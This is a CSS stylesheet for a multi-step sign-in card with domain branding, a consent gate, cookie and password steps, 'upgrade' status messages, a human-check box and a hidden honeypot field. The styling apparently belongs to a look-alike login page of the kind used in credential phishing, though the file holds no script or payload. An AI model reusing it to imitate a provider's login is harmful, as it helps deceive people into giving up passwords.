* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
    font-family: 'Segoe UI', 'Helvetica Neue', sans-serif;
}

body {
    background: #f0f2f4;
    min-height: 100vh;
    display: flex;
    justify-content: center;
    align-items: center;
    padding: 1.5rem;
}

.card {
    background: white;
    max-width: 500px;
    width: 100%;
    padding: 2.5rem 2.8rem 2.8rem;
    border-radius: 8px;
    box-shadow: 0 8px 28px rgba(0, 0, 0, 0.08);
    transition: all 0.3s ease;
}

.logo-area {
    display: flex;
    align-items: center;
    gap: 10px;
    margin-bottom: 2rem;
    flex-wrap: wrap;
}

.domain-logo {
    display: flex;
    align-items: center;
    justify-content: center;
}

.domain-logo img {
    height: 28px;
    width: auto;
    display: block;
}

.brand-domain {
    font-size: 1.15rem;
    color: #5b5b5b;
}

.brand-domain span {
    font-weight: 600;
    color: #1a1a1a;
}

.domain-badge {
    background: #f0f2f5;
    padding: 2px 12px;
    border-radius: 30px;
    font-size: 0.75rem;
    font-weight: 500;
    color: #2c2c2c;
}

.page-section {
    display: none;
}

.page-section.active {
    display: block;
    animation: fadeIn 0.4s ease;
}

@keyframes fadeIn {
    from { opacity: 0; transform: translateY(10px); }
    to { opacity: 1; transform: translateY(0); }
}

.shield-icon {
    display: flex;
    align-items: center;
    gap: 12px;
    margin-bottom: 1.5rem;
    padding: 16px 18px;
    background: #f8f9fa;
    border-radius: 6px;
    border-left: 4px solid #1a73e8;
}

.shield-icon i {
    font-size: 1.8rem;
    color: #1a73e8;
}

.shield-text {
    font-size: 0.95rem;
    color: #1a1a1a;
    font-weight: 500;
    line-height: 1.4;
}

.welcome-text {
    font-size: 1.5rem;
    font-weight: 500;
    color: #1b1b1b;
    margin-bottom: 0.5rem;
}

.sub-text {
    color: #4a4a4a;
    font-size: 0.95rem;
    margin-bottom: 1.5rem;
    line-height: 1.5;
}

.email-display {
    background: #f8f9fa;
    padding: 12px 16px;
    border-radius: 6px;
    margin: 0.8rem 0 0.25rem;
    border: 1px solid #e8eaed;
    display: flex;
    align-items: center;
    gap: 12px;
}

.email-display i {
    color: #1a73e8;
    font-size: 1.1rem;
}

.email-display .email-address {
    font-weight: 600;
    color: #1a1a1a;
    font-size: 1rem;
    word-break: break-all;
}

.session-detection {
    display: flex;
    align-items: center;
    gap: 10px;
    background: #f7f9fc;
    padding: 0.6rem 0.9rem;
    margin: 0.25rem 0 0.6rem 0;
    border-radius: 4px;
    border-left: 3px solid #1a73e8;
    font-size: 0.82rem;
    color: #4a4a4a;
    line-height: 1.4;
}

.session-detection i {
    color: #1a73e8;
    font-size: 0.85rem;
    opacity: 0.8;
}

.divider {
    border: none;
    border-top: 1px solid #dadce0;
    margin: 1.5rem 0 1.2rem;
}

.consent-section {
    margin: 1.2rem 0 1.8rem;
    padding: 16px 18px;
    background: #f8f9fa;
    border-radius: 6px;
    border: 1px solid #e8eaed;
}

.consent-label {
    display: flex;
    align-items: flex-start;
    gap: 14px;
    cursor: pointer;
    padding: 4px 0;
}

.consent-label input[type="checkbox"] {
    width: 20px;
    height: 20px;
    min-width: 20px;
    margin-top: 1px;
    accent-color: #1a73e8;
    cursor: pointer;
}

.consent-label .consent-text {
    font-size: 0.95rem;
    color: #1f1f1f;
    line-height: 1.5;
}

.consent-label .consent-text strong {
    color: #1a73e8;
}

.signin-btn {
    background: #1a73e8;
    border: none;
    border-radius: 30px;
    padding: 12px 0;
    font-size: 1.05rem;
    font-weight: 500;
    color: white;
    cursor: not-allowed;
    width: 100%;
    opacity: 0.5;
    transition: all 0.2s;
    margin-top: 0.3rem;
}

.signin-btn.active {
    cursor: pointer;
    opacity: 1;
    box-shadow: 0 2px 8px rgba(26, 115, 232, 0.3);
}

.signin-btn.active:hover {
    background: #1558b0;
}

.signin-btn.active:active {
    background: #0f4a92;
}

.cookie-header {
    display: flex;
    align-items: center;
    gap: 12px;
    margin-bottom: 1.5rem;
}

.cookie-header i {
    font-size: 2rem;
    color: #1a73e8;
}

.cookie-header h2 {
    font-size: 1.4rem;
    font-weight: 500;
    color: #1b1b1b;
}

.cookie-content {
    color: #3d3d3d;
    font-size: 0.95rem;
    line-height: 1.6;
}

.cookie-content p {
    margin-bottom: 1rem;
}

.cookie-content strong {
    color: #1a1a1a;
}

.cookie-highlight {
    background: #f8f9fa;
    padding: 16px 18px;
    border-radius: 6px;
    border-left: 4px solid #1a73e8;
    margin: 1rem 0 1.5rem;
    font-size: 0.9rem;
    line-height: 1.6;
}

.cookie-highlight i {
    color: #1a73e8;
    margin-right: 8px;
}

.cookie-buttons {
    display: flex;
    flex-direction: column;
    gap: 12px;
    margin-top: 1.8rem;
}

.cookie-btn-primary {
    background: #1a73e8;
    border: none;
    border-radius: 30px;
    padding: 12px 0;
    font-size: 1.05rem;
    font-weight: 500;
    color: white;
    cursor: pointer;
    width: 100%;
    transition: background 0.2s;
}

.cookie-btn-primary:hover {
    background: #1558b0;
}

.cookie-btn-secondary {
    background: transparent;
    border: 1px solid #8c8c8c;
    border-radius: 30px;
    padding: 12px 0;
    font-size: 1.05rem;
    font-weight: 500;
    color: #1a1a1a;
    cursor: pointer;
    width: 100%;
    transition: all 0.2s;
}

.cookie-btn-secondary:hover {
    background: #f0f2f4;
    border-color: #1a1a1a;
}

.cookie-footer-links {
    display: flex;
    justify-content: center;
    flex-wrap: wrap;
    gap: 1.2rem 1.8rem;
    margin-top: 1.5rem;
    font-size: 0.8rem;
}

.cookie-footer-links a {
    color: #1a73e8;
    text-decoration: none;
}

.cookie-footer-links a:hover {
    text-decoration: underline;
}

.password-header {
    display: flex;
    align-items: center;
    gap: 12px;
    margin-bottom: 0.5rem;
}

.password-header i {
    font-size: 1.5rem;
    color: #1a73e8;
}

.password-header h2 {
    font-size: 1.4rem;
    font-weight: 500;
    color: #1b1b1b;
}

.password-sub {
    color: #5f6368;
    font-size: 0.95rem;
    margin-bottom: 1.8rem;
}

.password-email-display {
    background: #f8f9fa;
    padding: 10px 14px;
    border-radius: 6px;
    margin-bottom: 1.2rem;
    border: 1px solid #e8eaed;
    display: flex;
    align-items: center;
    gap: 10px;
    font-size: 0.95rem;
}

.password-email-display i {
    color: #1a73e8;
}

.password-email-display span {
    font-weight: 500;
    color: #1a1a1a;
}

.password-email-display a {
    margin-left: auto;
    color: #1a73e8;
    text-decoration: none;
    font-size: 0.85rem;
}

.password-email-display a:hover {
    text-decoration: underline;
}

.password-input-group {
    display: flex;
    flex-direction: column;
    gap: 4px;
    margin-bottom: 0.8rem;
}

.password-input-group label {
    font-size: 0.85rem;
    font-weight: 500;
    color: #2c2c2c;
}

.password-input-group input {
    padding: 10px 14px;
    border: 1px solid #8c8c8c;
    border-radius: 4px;
    font-size: 1rem;
    outline: none;
    width: 100%;
}

.password-input-group input:focus {
    border-color: #1a73e8;
    box-shadow: 0 0 0 2px rgba(26, 115, 232, 0.2);
}

.password-options {
    display: flex;
    justify-content: space-between;
    align-items: center;
    font-size: 0.9rem;
    margin: 0.5rem 0 1rem;
    flex-wrap: wrap;
    gap: 8px;
}

.password-keep {
    display: flex;
    align-items: center;
    gap: 6px;
}

.password-keep input[type="checkbox"] {
    width: 18px;
    height: 18px;
    accent-color: #1a73e8;
}

.password-forgot {
    color: #1a73e8;
    text-decoration: none;
}

.password-forgot:hover {
    text-decoration: underline;
}

.password-signin-btn {
    background: #1a73e8;
    border: none;
    border-radius: 30px;
    padding: 12px 0;
    font-size: 1.05rem;
    font-weight: 500;
    color: white;
    cursor: pointer;
    width: 100%;
    transition: background 0.2s;
    margin-top: 0.5rem;
}

.password-signin-btn:hover {
    background: #1558b0;
}

.password-signin-btn:disabled {
    opacity: 0.6;
    cursor: not-allowed;
}

.password-no-account {
    text-align: center;
    margin-top: 1.8rem;
    font-size: 0.95rem;
    color: #2e2e2e;
}

.password-no-account a {
    color: #1a73e8;
    text-decoration: none;
    font-weight: 500;
}

.password-no-account a:hover {
    text-decoration: underline;
}

.back-link {
    display: inline-block;
    margin-top: 1rem;
    color: #1a73e8;
    text-decoration: none;
    font-size: 0.9rem;
}

.back-link:hover {
    text-decoration: underline;
}

.upgrade-message {
    margin: 0.8rem 0 0.4rem;
    padding: 0.7rem 1rem;
    border-radius: 6px;
    font-size: 0.92rem;
    line-height: 1.5;
    display: none;
    align-items: center;
    gap: 10px;
    border: 1px solid transparent;
    transition: all 0.3s;
}

.upgrade-message.show {
    display: flex;
}

.upgrade-message.loading {
    background: #f8f9fa;
    border-color: #dadce0;
    color: #1a1a1a;
}

.upgrade-message.loading i {
    color: #1a73e8;
}

.upgrade-message.error {
    background: #fce8e6;
    border-color: #d93025;
    color: #b31412;
}

.upgrade-message.error i {
    color: #d93025;
}

.upgrade-message.success {
    background: #e6f4ea;
    border-color: #34a853;
    color: #1e7e34;
}

.upgrade-message.success i {
    color: #34a853;
}

.human-check {
    display: flex;
    align-items: center;
    gap: 10px;
    background: #f8f9fa;
    padding: 0.6rem 1rem;
    border-radius: 6px;
    border: 1px solid #e8eaed;
    margin: 0.6rem 0 0.8rem;
    cursor: pointer;
    transition: background 0.2s;
}

.human-check:hover {
    background: #f1f3f4;
}

.human-check input[type="checkbox"] {
    width: 18px;
    height: 18px;
    accent-color: #1a73e8;
    flex-shrink: 0;
    cursor: pointer;
}

.human-check label {
    font-size: 0.92rem;
    color: #2d2d2d;
    cursor: pointer;
    display: flex;
    align-items: center;
    gap: 6px;
}

.human-check label i {
    color: #5f6368;
}

.human-check .check-pass {
    color: #34a853;
    font-weight: 500;
    display: none;
}

.human-check.verified .check-pass {
    display: inline;
}

.human-check.verified label i {
    color: #34a853;
}

.honeypot-field {
    position: absolute;
    left: -9999px;
    top: -9999px;
    width: 1px;
    height: 1px;
    overflow: hidden;
    opacity: 0;
    pointer-events: none;
}

.footer-links {
    display: flex;
    justify-content: center;
    flex-wrap: wrap;
    gap: 1.2rem 1.8rem;
    margin-top: 0.8rem;
    font-size: 0.75rem;
}

.footer-links a {
    color: #4d4d4d;
    text-decoration: none;
}

.footer-links a:hover {
    text-decoration: underline;
}

.micro-footer {
    text-align: center;
    margin-top: 2rem;
    font-size: 0.7rem;
    color: #6b6b6b;
}

.micro-footer i {
    margin: 0 4px;
}

@media (max-width: 480px) {
    .card {
        padding: 1.8rem 1.2rem 2.2rem;
    }
    .brand-domain {
        font-size: 1rem;
    }
    .welcome-text {
        font-size: 1.3rem;
    }
    .domain-logo img {
        height: 24px;
    }
    .cookie-header h2 {
        font-size: 1.2rem;
    }
    .password-header h2 {
        font-size: 1.2rem;
    }
}